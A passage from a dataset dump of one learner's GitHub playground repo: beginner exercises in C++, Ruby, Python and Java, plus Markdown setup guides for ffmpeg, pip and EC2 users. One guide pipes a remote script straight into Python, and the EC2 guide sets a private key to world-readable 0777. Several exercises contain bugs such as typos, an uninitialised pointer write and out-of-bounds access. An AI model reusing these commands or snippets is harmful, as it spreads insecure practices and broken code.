unique_unique_word(word)\n @unique << word\n unique.size - 1\n end\n\n\n def +(other)\n if other.kind_of? String and other.instance_of? TextCompressor\n return TextCompressor.new(\"#{text} #{other.text}\")\n end\n end\n\n def ==(other)\n return true if other.equal?(self)\n return false unless other.respond-to?(:index)\n return false unless other.instance_of?(self.class)\n text == other.text\n end\n\nend\n\n" }, { "alpha_fraction": 0.5317286849021912, "alphanum_fraction": 0.5754923224449158, "avg_line_length": 12.028571128845215, "blob_id": "1730d4ff60da0ea73850c001ff7d37a49e8cae6d", "content_id": "e0808ec6fd09f0cb4076762e227f45c0faab2394", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 457, "license_type": "no_license", "max_line_length": 47, "num_lines": 35, "path": "/c++/C++ Basics/18SequentialArraySearch.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\n\nint search(int array[], int tofind);\n\nint main()\n{\n\tint array[13] = {1,2,3,4,5,6,7,8,9,10,11,12}; \n\tint tofind = 9;\n\t\n\tint answer = search(array, tofind);\n\t\n\tcout << answer << endl;\n}\n\nint search(int array[], int tofind)\n{\n\tbool found = false;\n\tint index = 0;\n\tint i = 0;\n\t\n\twhile(found == false)\n\t{\n\t\tif(array[i] == tofind)\n\t\t{\n\t\t\tfound = true;\n\t\t\tindex = i;\n\t\t}\n\t\ti++;\t\n\t}\n\t\n\treturn index;\n}\n\n" }, { "alpha_fraction": 0.6647564172744751, "alphanum_fraction": 0.6661891341209412, "avg_line_length": 20.121212005615234, "blob_id": "59b157b83405fb6a79ead340eb18f5261fb8954d", "content_id": "c21f5450374ff1f8f160ee0658d151b30315a9aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 698, "license_type": "no_license", "max_line_length": 89, "num_lines": 33, "path": "/ruby/Eloquent Ruby/1ClassSample.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class Document\n attr_accessor = :title, :author, :content\n\n def initialize(title, author, content)\n @title = title\n @author = author\n @content = content\n end\n\n def words\n @content.split\n end\n\n def word_count\n words.size\n end\n\nend\n\n# Note: Should use 2 spaces for indenting\n# Camels for classes, snakes everywhere\n\ndoc = Document.new('Hamlet', 'Shakespeare', 'To be or not to be..')\n#doc = Document.new 'Hamlet', 'Shakespeare', 'To be or not to be..' # parans are optional\n\nputs doc.title\nputs doc.author\nputs doc.content\nputs doc.words\nputs doc.word_count\n\nputs doc.instance_of? Document\nputs doc.instance_of? self.class.superclass.class\n\n" }, { "alpha_fraction": 0.6925116181373596, "alphanum_fraction": 0.7388999462127686, "avg_line_length": 17.862499237060547, "blob_id": "aa144748a3943038c797d6ecf52d22cc3d561e7d", "content_id": "0fcd0244aba3a8f1feb5a2bf787011bb9b7c1d49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1509, "license_type": "no_license", "max_line_length": 122, "num_lines": 80, "path": "/documentation/install/Installing ffmpeg.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "## Installing ffmpeg\n\nTo install `ffmpeg` on your linux machine, create a shell file and paste the following lines in there. Then simply run it.\n\n**ffmpeg.sh**\n\n```sh\nyum erase ffmpeg x264 x264-devel\nyum install gcc git make nasm pkgconfig wget\nmkdir ffmpeg-source\n\n# yasm\ncd ffmpeg-source\nwget http://www.tortall.net/projects/yasm/releases/yasm-1.2.0.tar.gz\ntar xzvf yasm-1.2.0.tar.gz\ncd yasm-1.2.0\n./configure\nmake\nmake install\n\n# x.264\ncd ..\ngit clone git://git.videolan.org/x264\ncd x264\n./configure --enable-static\nmake\nmake install\n\n# lame\ncd ..\nwget http://downloads.sourceforge.net/project/lame/lame/3.99/lame-3.99.5.tar.gz\ntar xzvf lame-3.99.5.tar.gz\ncd lame-3.99.5\n./configure --disable-shared --enable-nasm\nmake\nmake install\n\n# libogg\ncd ..\nwget http://downloads.xiph.org/releases/ogg/libogg-1.3.0.tar.gz\ntar xzvf libogg-1.3.0.tar.gz\ncd libogg-1.3.0\n./configure --disable-shared\nmake\nmake install\n\n# liborvis\ncd ..\nwget http://downloads.xiph.org/releases/vorbis/libvorbis-1.3.3.tar.gz\ntar xzvf libvorbis-1.3.3.tar.gz\ncd libvorbis-1.3.3\n./configure --disable-shared\nmake\nmake install\n\n# libvpx\ncd ..\ngit clone http://git.chromium.org/webm/libvpx.git\ncd libvpx\n./configure\nmake\nmake install\n\n# zlib\ncd ..\nwget http://zlib.net/zlib-1.2.7.tar.gz\ntar xzvf zlib-1.2.7.tar.gz\ncd zlib-1.2.7\n./configure\nmake\nmake install\n\n# ffmpeg\ncd ..\ngit clone git://source.ffmpeg.org/ffmpeg\ncd ffmpeg\n./configure --enable-gpl --enable-libmp3lame --enable-libvorbis --enable-libvpx --enable-libx264\nmake\nmake install\n```\n" }, { "alpha_fraction": 0.6027397513389587, "alphanum_fraction": 0.6149162650108337, "avg_line_length": 11.634614944458008, "blob_id": "0c89c90d5cca5e43e7e5df9eb67513d71dab0cc8", "content_id": "3d797cd3ea3e943442230bafaa3e1797e56541f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 657, "license_type": "no_license", "max_line_length": 37, "num_lines": 52, "path": "/c++/C++ Basics/07VoidFunctions.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\nvoid initializeScreen();\n\ndouble celsius(double f);\n\nvoid showResults(double f, double c);\n\nint main()\n{\n\tusing namespace std;\n\tdouble f, c,\n\n\tinitializeScreen();\n\tcout << \"Convert f to c\"\n\t << \"enter a temp in f\";\n\tcin >> f;\n\n\tc = celsius(f);\n\n\tshowResults(f, c);\n\n\treturn 0;\n}\n\n\nvoid initializeScreen()\n{\n\tusing namespace std;\n\tcout << endl;\n\treturn;\n}\n\ndouble celsius(double f)\n{\n\treturn ((5.0/9.0)*(f-32));\n}\n\n\nvoid showResults(double f, double c)\n{\n\tusing namespace std;\n\n\tcout.setf(ios::fixed);\n\tcout.setf(ios::showpoint);\n\tcout.percision(2);\n\tcout << f\n\t << \" degrees f is = to \\n\"\n\t << c << \" degrees c\";\n\n\treturn;\n}\n" }, { "alpha_fraction": 0.585666298866272, "alphanum_fraction": 0.5901455879211426, "avg_line_length": 11.402777671813965, "blob_id": "8e6b7d7cc6a56a767f1b1501f46f503b65edee21", "content_id": "4f45a4447f23287885a201a91aafe5c75c65786c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 893, "license_type": "no_license", "max_line_length": 60, "num_lines": 72, "path": "/c++/C++ Basics/30List.h", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#ifndef LIST_CPP\n#define LIST_CPP\n\n#include <stdio.h>\n#include <iostream>\n#include <cstdlib>\nusing namespace std;\n\nnamespace kartik\n{\n\ttemplate<class T>\n\tList<T>::List(int max)\n\t{\n\t\tmaxLen = max;\n\t\tcurrLen = 0;\n\t\titem = new T[max];\n\t}\n\n\ttemplate<class T>\n\tList<T>::~List()\n\t{\n\t\tdelete [] item;\n\t}\n\n\ttemplate<class T>\n\tint List<T>::length() const\n\t{\n\t\treturn (currLen);\n\t}\n\n\ttemplate<class T>\n\tvoid List<T>::add(T newItem)\n\t{\n\t\tif(full())\n\t\t{\n\t\t\tcout << \"full\" << endl;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titem[currLen] = newItem;\n\t\t\tcurrLen = currLen+1;\n\t\t}\n\t}\n\n\n\ttemplate<class T>\n\tint List<T>::full() const\n\t{\n\t\treturn (currLen == maxLen);\n\t}\n\n\n\ttemplate<class T>\n\tvoid List<T>::erase()\n\t{\n\t\tcurrLen = 0;\n\t}\n\n\ttemplate<class T>\n\tostream& operator <<(ostream& outs, const List<T>& theList)\n\t{\n\t\tfor(int i = 0; i < theList.currLen; i++)\n\t\t{\n\t\t\touts << theList.item[i] << endl;\n\t\t}\n\n\t\treturn outs;\n\t}\n\n}\n\n#endif\n" }, { "alpha_fraction": 0.6106194853782654, "alphanum_fraction": 0.7227138876914978, "avg_line_length": 20.25, "blob_id": "a510946d177ccfab883850476194769e86d6ae49", "content_id": "f35a34503eb55ff1ccfe82935fc0a429d05c7764", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 339, "license_type": "no_license", "max_line_length": 120, "num_lines": 16, "path": "/documentation/Web/Installing PIP for Python.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Installing PIP for Python\n\n## Prerequisites \n\n### easy_install\n\n```\n$ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11-py2.7.egg#md5=fe1f997bc722265116870bc7919059ea\n$ sudo sh setuptools-0.6c11-py2.7.egg\n```\n\n## Installing PIP\n\n```\n$ sudo curl https://raw.github.com/pypa/pip/master/contrib/get-pip.py | python\n```" }, { "alpha_fraction": 0.47183099389076233, "alphanum_fraction": 0.5, "avg_line_length": 19.285715103149414, "blob_id": "45bfc2f26cf49f79ed1c77af063c6247f4843cdb", "content_id": "1b977be86c989120a8a9daaf56034b75533e04f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "no_license", "max_line_length": 42, "num_lines": 7, "path": "/computation/powerset.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def powerset(array):\n ps = [[]]\n for i in array:\n ps += [x + [array[i]] for x in ps]\n return ps\n\nprint powerset([0, 1, 2, 3])\n" }, { "alpha_fraction": 0.597122311592102, "alphanum_fraction": 0.6043165326118469, "avg_line_length": 14.44444465637207, "blob_id": "ffc4b6e33c78d07a5e8ea4f3b892494fc567d4fb", "content_id": "3acdd4aaa9440eb818af678bd9095b226e15fc87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "no_license", "max_line_length": 38, "num_lines": 18, "path": "/python/decorator.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "import functools\n\ndef my_check(func):\n\n @functools.wraps(func)\n def decorated_view(*args, **kwargs):\n if 1 != 2:\n return 'failure'\n return func(*args, **kwargs)\n\n return decorated_view\n\n\nif __namae__ == '__main__':\n\n @my_check\n def hello():\n return 'success'\n" }, { "alpha_fraction": 0.48040884733200073, "alphanum_fraction": 0.5195911526679993, "avg_line_length": 11.717391014099121, "blob_id": "492fab6854746e9b3861bdd14ac043013550f722", "content_id": "15b0e119f6154839a2a4a74ab0c68f5c25d6b127", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 587, "license_type": "no_license", "max_line_length": 43, "num_lines": 46, "path": "/c++/C++ Basics/19ArraySort.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#define count(a) ( sizeof(a)/sizeof(*a))\nusing namespace std;\n\n\nvoid sort(int array[]);\nvoid swap(int& a, int& b);\n\n\nint main()\n{\n\tint array[10] = {1,6,8,9,24,3,4,84,65,21};\n\t\n\tsort(array);\n\t\n\tfor(int i = 0; i < count(array); i++)\n\t{\n\t\tcout << array[i] << endl;\n\t}\n\t\n\treturn 0;\n}\n\n\nvoid swap(int& a, int& b)\n{\n\tint temp = a;\n\ta = b;\n\tb = temp;\n}\n\nvoid sort(int array[])\n{\n\tfor(int i = 0; i < count(array); i++)\n\t{\n\t\tfor(int j = 0; j < count(array)-1-i; j++)\n\t\t{\n\t\t\tif(array[j+1] < array[j])\n\t\t\t{\n\t\t\t\tswap(array[j], array[j+1]);\n\t\t\t}\n\t\t\t\n\t\t}\n\t}\n}\n\n\n" }, { "alpha_fraction": 0.5107344388961792, "alphanum_fraction": 0.5107344388961792, "avg_line_length": 18.64444351196289, "blob_id": "470346f7606abfea929019a091d8ab9366e88049", "content_id": "1b1be637d9f03749be95be2e23ee6261e5c3eec7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 885, "license_type": "no_license", "max_line_length": 53, "num_lines": 45, "path": "/ruby/Eloquent Ruby/3ControlStructure.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class Document\n attr_accessor :writable, :read_only\n attr_reader = :title, :author, :content\n\n def initialize(title, author, content)\n @title = title\n @author = author\n @content = content\n end\n\n def title=(new_title)\n if @writable # read only\n @title = new_title\n end\n end\n\n def author(new_author)\n if not @read_only\n @author = new_author\n end\n end\n\n def content(new_content)\n unless @read_only\n @content = new_content\n end\n end\n\n def choose_title(title)\n @author = case title\n when 'War And Peace' then 'Tolstoy'\n when 'Romeo And Juliet' then 'Shakespeare'\n else 'Dont know'\n end\n end\n\n def words\n @content.split\n end\n\n def word_count\n words.size\n end\n\nend\n\n" }, { "alpha_fraction": 0.6312323808670044, "alphanum_fraction": 0.6538099646568298, "avg_line_length": 13.971831321716309, "blob_id": "769f368676043a31aadf0bb5cf2264b0a14811f3", "content_id": "d7deca507fd3dcd147a86f8a5a8083d2a082a45b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1063, "license_type": "no_license", "max_line_length": 83, "num_lines": 71, "path": "/documentation/Web/Adding a user to Amazon EC2 Server.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Adding a user to Amazon EC2 Server\n\n## Login by default user\n\n```\n$ ssh -i generatedKey.pem ec2-user@xx.xx.xxx.xxx\n```\n\n## Create a new user\n\n```\n$ sudo adduser ktalwar\n$ sudo su\n$ passwd ktalwar\n```\n\n### Edit user privileges\n\n```\n$ sudo visudo\n```\n\n**Add this to the last line**\n\n```\nktalwar ALL = (ALL) ALL\n```\n\n## Creating public and private keys\n\n```\n$ su ktalwar\n$ cd /home/ktalwar\n```\n\n```\n$ ssh-keygen -b 1024 -f ktalwar -t dsa\n$ mkdir .ssh\n$ chmod 700 .ssh\n$ cat ktalwar.pub > .ssh/authorized_keys\n$ chmod 600 .ssh/authorized_keys\n$ sudo chown ktalwar:ec2-user .ssh\n$ sudo chown ktalwar:ec2-user .ssh/authorized_keys\n```\n\n## Downloading your private key\n\n```\n$ sudo cp ktalwar /home/ec2-user/\n$ sudo chmod 0777 /home/ec2-user/ktalwar\n```\n\n**On your local machine**\n\n```\n$ scp -i generatedKey.pem ec2-user@xx.xx.xxx.xxx:/home/ec2-user/ktalwar ktalwar.pem\n```\n\n**On EC2**\n\n```\n$ sudo rm /home/ktalwar/ktalwar\n$ sudo rm /home/ktalwar/ktalwar.pub\n$ sudo rm /home/ec2-user/ktalwar\n```\n\n## Test it out\n\n```\n$ ssh -i ktalwar.pem ktalwar@xx.xx.xxx.xxx\n```\n" }, { "alpha_fraction": 0.567703127861023, "alphanum_fraction": 0.5807422399520874, "avg_line_length": 14.79365062713623, "blob_id": "3fdb280e103f05a61d86b9810f3b28891d423733", "content_id": "067b343feb9c2d7895368cf61c36103f6c2f4f47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 997, "license_type": "no_license", "max_line_length": 76, "num_lines": 63, "path": "/c++/C++ Basics/22StringClass.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <string>\nusing namespace std;\n\n\nbool isPalindrome(string word);\n\nint main()\n{\n\tstring fname, lname, full;\n\t\n\tcout << \"Enter your first name: \" << endl;\n\tcin >> fname;\n\t\n\tcout << \"Enter your last name: \" << endl;\n\tcin >> lname;\n\t\n\tfull = fname + \" \" + lname;\n\tcout << \"Full Name: \" << full << endl;\n\tcout << \"Length of your name: \" << fname.length() + lname.length() << endl;\n\t\n\tstring anything(\"This is a random sentence\");\n\tcout << anything << endl;\n\tgetline(cin, anything);\n\tcout << anything << endl;\n\t\n\t\n\tstring str(\"Python\");\n\tcout << str.at(5) << endl;\n\tcout << str[5] << endl;\n\t\n\t\n\tcout << isPalindrome(\"12321\") << endl;\n\t\n\t\n\t\n\t\n\t// Other methods\n\t\n\tfname += lname;\n\tfull.empty(); // bool\n\tfname.insert(0, \"Mr \");\n\tlname.remove(0, \"T\");\n\tfname.find(\"r\");\n\t\n\t\n\treturn 0;\n}\n\n\nbool isPalindrome(string word)\n{\n\tfor(int i = 0; i < (word.length())/2; i++)\n\t{\n\t\tif(word[word.length()-i-1] != word[i])\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\treturn true;\n}\n\n\n" }, { "alpha_fraction": 0.6216216087341309, "alphanum_fraction": 0.6216216087341309, "avg_line_length": 18.558822631835938, "blob_id": "63e613e844c1ec4cb65d0f4c741a2c2bd7e9bbad", "content_id": "6d8cb8f3ab6652a10c0d3bb0127b27a3f750453a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 666, "license_type": "no_license", "max_line_length": 68, "num_lines": 34, "path": "/ruby/Eloquent Ruby/5Objects.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class Document\n\n def initialize(title, author, content)\n raise 'title isnt a string' unless title.kind_of? String\n raise 'author isnt a string' unless author.kind_of? String\n raise 'content isnt a string' unless content.kind_of? String\n @title = title\n @author = author\n @content = content\n end\n\n def is_longer_than? (n)\n @content.length > n\n end\n\n private # methods are private starting here\n\n def word_count\n return words.size\n end\n\n # or\n # private :word_count\n\nend\n\n\nclass Novels < Document\n\n def number_of_words\n word_count # self is a Document instance\n end\n\nend\n\n" }, { "alpha_fraction": 0.5650117993354797, "alphanum_fraction": 0.585106372833252, "avg_line_length": 15.56862735748291, "blob_id": "64c96aa1dd58969b0f35c6d7a2574b50b9b2da6f", "content_id": "3c7344f5de549adb44f47a748b56492ee5d79cc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 846, "license_type": "no_license", "max_line_length": 64, "num_lines": 51, "path": "/ruby/The Hard Way/12Arrays.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "count = [1,2,3,4,5]\n\nfor number in count\n puts number\nend\n\ncount.each do |x| puts x end\n\nelements = []\n\nfor i in (0..5)\n elements.push(i)\nend\n\nputs elements\nputs elements.length()\nputs rand(elements)\nputs elements.join(' ')\n\nputs count[2] #3\n\nhashtable = {'k1' => 1, 'k2' => 2, 'v1' => 2}\nputs hashtable['k1']\nhashtable.delete('v1')\n\n## Example\n\ncities = {'CA' => 'San Francisco',\n 'MI' => 'Detroit',\n 'FL' => 'Jacksonvill',\n 'NY' => 'New York',\n 'OR' => 'Portland'}\n\ndef find_city(map, state)\n if map.include? state\n return map[state]\n else\n return 'not found'\n end\nend\n\ncities[:find] = method(:find_city) # called proc (aka procedure)\n\nwhile true\n print \"State? (Enter to quit)\"\n state = gets.chomp()\n\n break if state.empty?\n\n puts cities[:find].call(cities, state)\nend\n\n" }, { "alpha_fraction": 0.6162790656089783, "alphanum_fraction": 0.6511628031730652, "avg_line_length": 27.66666603088379, "blob_id": "0733366deb287ab3916f256e84a5f42339dc9de8", "content_id": "907318866e1c7178076825a21b05637fe93f750b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 172, "license_type": "no_license", "max_line_length": 68, "num_lines": 6, "path": "/ruby/The Hard Way/05Input.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "print 'How old are you?'\nage = gets.chomp()\nprint 'How all in ft are you?'\nheight = gets.chomp().to_i\n\nprint 'You are #{age} years old and %.2f cm tall' % [height*2.54*12]\n" }, { "alpha_fraction": 0.5326633453369141, "alphanum_fraction": 0.5326633453369141, "avg_line_length": 14.384614944458008, "blob_id": "6d46ae19858bb01aa5255ba3f70e15520e18458b", "content_id": "2462ea410397456f45c019fbef6ed7b962cb65fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 199, "license_type": "no_license", "max_line_length": 41, "num_lines": 13, "path": "/random/ReverseALinkedList.c", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "Node* reverse(Node *head, Node *previous)\n{\n Node *temp;\n temp = head->next;\n head->next = previous;\n\n if(temp != NULL)\n {\n head = reverse(temp, head);\n }\n\n return head;\n}" }, { "alpha_fraction": 0.4730290472507477, "alphanum_fraction": 0.54356849193573, "avg_line_length": 9.041666984558105, "blob_id": "892382ee73f7b4de7339aef442054dba8e7182a3", "content_id": "1cb506d6a7445de147b565bf475c877045a891d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 241, "license_type": "no_license", "max_line_length": 31, "num_lines": 24, "path": "/c++/C++ Basics/24Pointers.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nint main()\n{\n\tdouble *p;\n\tint *p1, *p2, v3;\n\t\n\tv3 = 0;\n\t\n\tp1 = &v3;\n\t*p2 = 40;\n\t\n\tcout << *p2 + 2 << endl;\t// 42\n\t\n\t\n\ttypedef int* intPtr;\n\tintPtr newp1, newp2;\n\t\n\t\n\t\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.47791165113449097, "alphanum_fraction": 0.49799197912216187, "avg_line_length": 9.82608699798584, "blob_id": "f8135a4476fe1197713281e342d4866794c93d54", "content_id": "453bdadb5250dd78240b17e1f38e9ba4109676bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 249, "license_type": "no_license", "max_line_length": 37, "num_lines": 23, "path": "/c++/C++ Basics/04ifStatements.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\nusing namespace std;\n\nint main()\n{\n\tint a = 3;\n\tint b = 2;\n\n\tif( a > b)\n\t{\n\t\tcout << \"a is more than b\";\n\t}\n\telse if ( (a+2) < b)\n\t{\n\t\tcout << \"a plus 2 is more than b \";\n\t}\n\telse\n\t{\n\t\tcout << \"b is more than a\";\n\t}\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.7178217768669128, "alphanum_fraction": 0.7326732873916626, "avg_line_length": 21.44444465637207, "blob_id": "a2e9549fb5d73366d357dfb09268672cd0e38691", "content_id": "5a21893fb53b0c87f77c40b066dfec8619b5f678", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 202, "license_type": "no_license", "max_line_length": 50, "num_lines": 9, "path": "/random/StringCombinations.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def stringCombinations(string, right = ''):\n\tif not string:\n\t\tprint right\n\t\treturn\n\n\tstringCombinations(string[1:], string[0] + right)\n\tstringCombinations(string[1:], right)\n\nstringCombinations('abcd')\n" }, { "alpha_fraction": 0.5607143044471741, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 12.023255348205566, "blob_id": "2a5a8742afaf052275cb689dec01e8beee3dd8e6", "content_id": "367a08d464328e3f2e6a1cc88dcf7c83bafa55df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 560, "license_type": "no_license", "max_line_length": 37, "num_lines": 43, "path": "/c++/C++ Basics/08InputByReference.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\nvoid get_numbers(int& i1, int& i2);\nvoid swap(int& v1, int& v2);\nvoid show(int o1, int o2);\n\nint main()\n{\n\tint first, second;\n\n\tget_numbers(first, second);\n\tswap(first, second);\n\tshow(first, second);\n\n\treturn 0;\n}\n\nvoid get_numbers(int& i1, int& i2)\n{\n\tusing namespace stdl\n\n\tcout << \"Enter 2 numbers bro\";\n\tcin >> i1\n\t >> i2;\n}\n\n\nvoid swap(int& v1, int& v2)\n{\n\tint temp;\n\n\ttemp = v1;\n\tv1 = v2;\n\tv2 = temp;\n}\n\nvoid show(int o1, int o2)\n{\n\tusing namespace std;\n\n\tcout << \"the swapped numbers are\";\n\tcoud << o1 << \" and \" << o2 << endl;\n}\n" }, { "alpha_fraction": 0.7101631164550781, "alphanum_fraction": 0.720200777053833, "avg_line_length": 21.11111068725586, "blob_id": "325477685da31db010142eb4e5c385eac1cf7669", "content_id": "0523d01b6491272ca25892f501d3541e68729890", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 797, "license_type": "no_license", "max_line_length": 122, "num_lines": 36, "path": "/documentation/install/Installing PIP on Windows.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Installing PIP on Windows\n\n## 64 Bit System\n\n### Downloading EasyInstall\n\n- Download [ez_setup.py] (http://peak.telecommunity.com/dist/ez_setup.py)\n\n- Navigate to python installation directory (eg. `C:\\Python27\\`)\n- Go to folder `Tools\\Scripts\\` and move the file `ez_setup.py` there\n\n\n### Installing EasyInstall\n\n- Open command prompt: *Windows->Run->type 'cmd'->enter* \n\n- If Python is installed in Program Files and you are not the administrator, run this command to start the command prompt \n- `Windows->run-> type 'runas /noprofile /user:Administrator cmd'`\n\n**Run the following commands**\n\n```\ncd c:\\Python27\\ \npython Tools\\Scripts\\ez_setup.py\ncd Scripts\neasy_install pip\n```\n\n## Using PIP\n\n**Open the command prompt and execute**\n\n```\ncd c:\\Python27\\Scripts\npip install packageName\n```\n\n" }, { "alpha_fraction": 0.5929431915283203, "alphanum_fraction": 0.6049913763999939, "avg_line_length": 16.869230270385742, "blob_id": "5411c27ae75e4ecbb3615e8faf2677094273d9e9", "content_id": "40659918830f0bf11020f428f27e06dbca16a6f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2324, "license_type": "no_license", "max_line_length": 58, "num_lines": 130, "path": "/java/Data Structures and Algorithms/01 Arrays/05ClassDataArray.java", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class Person {\n\tprivate String lastName;\n\tprivate String firstName;\n\tprivate int age;\n\n\tpublic Person(String last, String first, int a) {\n\t\tlastName = last;\n\t\tfirstName = first;\n\t\tage = a;\n\t}\n\n\tpublic void displayPerson() {\n\t\tSystem.out.print(\" Last name: \" + lastName);\n\t\tSystem.out.print(\", First Name: \"+ firstName);\n\t\tSystem.out.println(\", Age: \" + age);\n\t}\n\n\n\tpublic String getLast() {\n\t\treturn lastName;\n\t}\n}\n\n\nclass ClassDataArray {\n\tprivate Person[] a;\n\tprivate int nElems;\n\n\t// Constructor\n\tpublic ClassDataArray(int max) {\n\t\ta = new Person[max];\n\t\tnElems = 0;\n\t}\n\n\tpublic Person find(String searchName) {\n\t\tint i;\n\n\t\tfor(i=0; i<nElems; i++) {\n\t\t\tif(a[i].getLast().equals(searchName)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif(i == nElems) {\n\t\t\treturn null;\n\t\t}\n\t\telse {\n\t\t\treturn a[i];\n\t\t}\n\t} // find\n\n\n\tpublic void insert(String last, String first, int age) {\n\t\ta[nElems] = new Person(last, first, age);\n\t\tnElems++;\n\t}\n\n\tpublic boolean delete(String searchName) {\n\t\tint i;\n\n\t\tfor(i=0; i<nElems; i++) {\n\t\t\tif(a[i].getLast().equals(searchName)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif(i == nElems) {\n\t\t\treturn false;\n\t\t}\n\t\telse {\n\t\t\tfor(int j=i; j<nElems; j++) {\n\t\t\t\ta[j] = a[j+1];\n\t\t\t}\n\t\t\tnElems--;\n\n\t\t\treturn true;\n\t\t}\n\t} // delete\n\n\tpublic void displayAll() {\n\t\tfor(int i=0; i<nElems; i++) {\n\t\t\ta[i].displayPerson();\n\t\t}\n\t}\n}\n\n\n\nclass ClassDataApp {\n\tpublic static void main(String[] args) {\n\t\tint maxSize = 100;\n\t\tClassDataArray arr;\n\t\tarr = new ClassDataArray(maxSize);\n\n\t\tarr.insert(\"Talwar\", \"Kartik\", 19);\n\t\tarr.insert(\"Smith\", \"Lorraine\", 37);\n\t\tarr.insert(\"Yee\", \"Tom\", 43);\n\t\tarr.insert(\"Adams\", \"Henry\", 15);\n\t\tarr.insert(\"Hashimoto\", \"Sato\", 23);\n\t\tarr.insert(\"Stimson\", \"Henry\", 40);\n\t\tarr.insert(\"Velasques\", \"Jose\", 37);\n\t\tarr.insert(\"Vang\", \"Mich\", 22);\n\t\tarr.insert(\"Creswell\", \"Lucinda\", 18);\n\t\tarr.insert(\"Smith\", \"John\", 24);\n\n\t\tarr.displayAll();\n\t\tSystem.out.println(\"\\n\");\n\n\t\tString searchKey = \"Stimson\";\n\t\tPerson found;\n\t\tfound = arr.find(searchKey);\n\n\t\tif(found != null) {\n\t\t\tSystem.out.println(\"Found \");\n\t\t\tfound.displayPerson();\n\t\t\tSystem.out.println(\"\\n\");\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(\"Can't find \" + searchKey);\n\t\t\tSystem.out.println(\"\\n\");\n\t\t}\n\n\t\tSystem.out.println(\"Deleting Talwar, Stimson and Vang\");\n\t\tarr.delete(\"Talwar\");\n\t\tarr.delete(\"Stimson\");\n\t\tarr.delete(\"Vang\");\n\n\t\tarr.displayAll();\n\t}\n}\n\n" }, { "alpha_fraction": 0.6435185074806213, "alphanum_fraction": 0.6435185074806213, "avg_line_length": 20.600000381469727, "blob_id": "a513611de26796cbdf455c428bd5be06de98a044", "content_id": "3c41192dc2bc1d5a5e1a179c1d8e03eaf275cab1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 216, "license_type": "no_license", "max_line_length": 42, "num_lines": 10, "path": "/ruby/The Hard Way/06Libraries.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "require 'open-uri'\n\nopen('http://www.ruby-lang.org/en') do |x|\n x.each_line { |line| p line}\n 